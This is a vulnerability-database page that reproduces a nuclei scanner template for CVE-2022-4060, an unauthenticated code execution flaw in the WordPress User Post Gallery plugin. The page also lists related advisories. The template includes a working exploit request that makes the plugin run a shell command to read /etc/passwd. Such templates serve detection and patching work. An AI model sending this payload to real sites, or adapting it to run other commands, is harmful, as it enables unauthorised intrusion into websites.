Lucene search
K

WordPress User Post Gallery <=2.19 - Remote Code Execution

🗓️ 01 Jul 2026 03:36:47Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 48 Views

WordPress User Post Gallery <=2.19 - Remote Code Execution vulnerability. Allows unauthenticated users to execute arbitrary code and gain full control over compromised system

Related
Refs
Code
ReporterTitlePublishedViews
Family
BDU FSTEC
The vulnerability of the User Post Gallery plugin of the WordPress content management system allows a hacker to execute arbitrary code.
21 Dec 202300:00
bdu_fstec
Circl
CVE-2022-4060
16 Jan 202318:24
circl
CNNVD
WordPress plugin User Post Gallery 代码注入漏洞
16 Jan 202300:00
cnnvd
CVE
CVE-2022-4060
16 Jan 202315:38
cve
Cvelist
CVE-2022-4060 User Post Gallery <= 2.19 - Unauthenticated RCE
16 Jan 202315:38
cvelist
NVD
CVE-2022-4060
16 Jan 202316:15
nvd
OSV
CVE-2022-4060
16 Jan 202316:15
osv
Prion
Code injection
16 Jan 202316:15
prion
Prion
Open redirect
3 Jan 202315:15
prion
Positive Technologies
PT-2023-7904 · WordPress · User Post Gallery
16 Jan 202300:00
ptsecurity
Rows per page
id: CVE-2022-4060

info:
  name: WordPress User Post Gallery <=2.19 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e
    - https://wordpress.org/plugins/wp-upg/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4060
    - https://github.com/im-hanzou/UPGer
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4060
    cwe-id: CWE-94
    epss-score: 0.42723
    epss-percentile: 0.98545
    cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: odude
    product: user_post_gallery
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - "recordsFiltered"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022067c9581f17e3279636ce7f614af532644f97ff1dd73b4e1b3a6d070b8ff011cb022100c131a3e76714817d5ce5de681cb37610489d2375915c3ca7020eb3f45d5a1c1f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
EPSS0.42723
SSVC
48